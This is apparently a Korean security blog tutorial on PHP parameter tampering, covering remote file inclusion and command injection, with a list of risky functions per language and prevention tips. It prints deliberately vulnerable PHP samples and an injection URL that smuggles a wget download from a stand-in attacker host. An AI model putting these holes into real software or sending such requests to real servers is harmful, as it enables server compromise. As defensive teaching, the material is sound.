일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- macos
- centos 8
- 보안양파
- x-pack
- proxycfg
- elastic stack
- ansible
- application security
- miniconda
- hardening
- freebsd
- PlayBook
- Kibana
- Windows
- XCP-ng
- Elasticsearch
- xe guest utilities
- GitLab
- Kibana server is not ready yet
- endpoint security
- docker
- bash
- G-suite
- ssh key 배포
- 한글가이드
- pfsense
- ELASTIC
- Proxy
- 로그인불가
- Today
- Total
선 밖에 선 자유인
파라미터 변조를 이용한 공격(PHP Injection) 본문
read.php
------------------------------------------------
<html>
<body>
<h1>php injection test</h1>
<?
include $_GET[param];
?>
</body>
</html>
------------------------------------------------
http://<victim IP>/board/read.php?param=xxxx 와 같이 read.php가 입력값을 include() 함수를 통해 전달 받게 되면 모든 페이지에 포함될 표준 헤더 및 메뉴들을 파일로 만들어서 포함 가능하다.
이 때 해당 함수와 설정 오류로 인해 원격지 파일을 로컬 파일처럼 호출이 가능하다.
Attack가 자신의 시스템에 공격을 위한 웹 쉘 등을 업로드 한 후 victim 서버에 다음과 같은 형태의 request를 보내면
[출처] 파라미터 변조를 통한 시스템 명령어 실행|작성자 만이
[출처] 파라터 변조를 통한 시스템 명령어 실행|작성자 만이
공격자 시스템의 attack.php가 원격에서 실행되고 공격이 가능하다.
- exec() 함수를 이용한 방법
------------exec.php------------
<html>
<body>
<h1>exec() test </h1>
<?php
$yourname = $_GET['name'];
exec("echo $yourname");
?>
</body>
</html>
----------------------------------
exec() 함수의 경우 파일 이름 뿐이 아닌 명령어 실행이 가능하다.
http://<victim IP>/board/exec.php?name=attacker;wget http://<attacker IP>/exploit.c
** PHP 설정의 allow_url_fopen() 함수는 외부 파라미터를 실행 시킬 수 있기 때문에 Off 로 설정해 주어야 한다.
** 각 언어 별 시스템 명령어 삽입을 악용할 수 있는 스크립트, 프로그래밍 언어의 함수들
PHP |
- require() - include() - eval() - preg_replace() (/e 옵션과 함께 사용) - exec() - passthru() - `` (backticks) - system() - popen() |
Shell script |
- 모두 실행 가능 |
perl |
- open() - sysopen() - glob() - system() - '' (backticks) - eval() |
java |
- System.* (특별히 System.Runtime) |
C / C++ |
- system() - exec**() (strcpy strcat sprintf
vsprintf gets strlen (특별히 null 바이트와 함께 사용될 경우)
scanf() fscanf sscanf vscanf vsscanf vfscanf
realpath getopt getpass streadd strecpy strtrns) |
Python |
- exec() - eval() - execfile() - compile() - input() |
[예방 방법]
- 반드시 필요하다면 모든 시스템 명령을 사용하는 모든 사용자의 입력값을 점검한다.
- 점검되지 않은 사용자 입력을 시스템 명령으로 전달하지 않는다.
- 점검되지 않은 사용자 입력을 파이프(|)로 전달하지 않는다.
- 점검되지 않은 사용자 입력을 perl의 open() 명령으로 전달하지 않는다.
- 점검되지 않은 사용자 입력을 C 언어와 PHP의 popen() 명령으로 전달하지 않는다.
- 점검되지 않은 사용자 입력을 ``(backticks) 함께 사용하지 않는다.
- 운영체제의 시스템 명령이 사용자 입력에 존재하는지 점검한다.
- 모든 웹 애플리케이션엔 쉘 스크립트를 허용하지 않는다.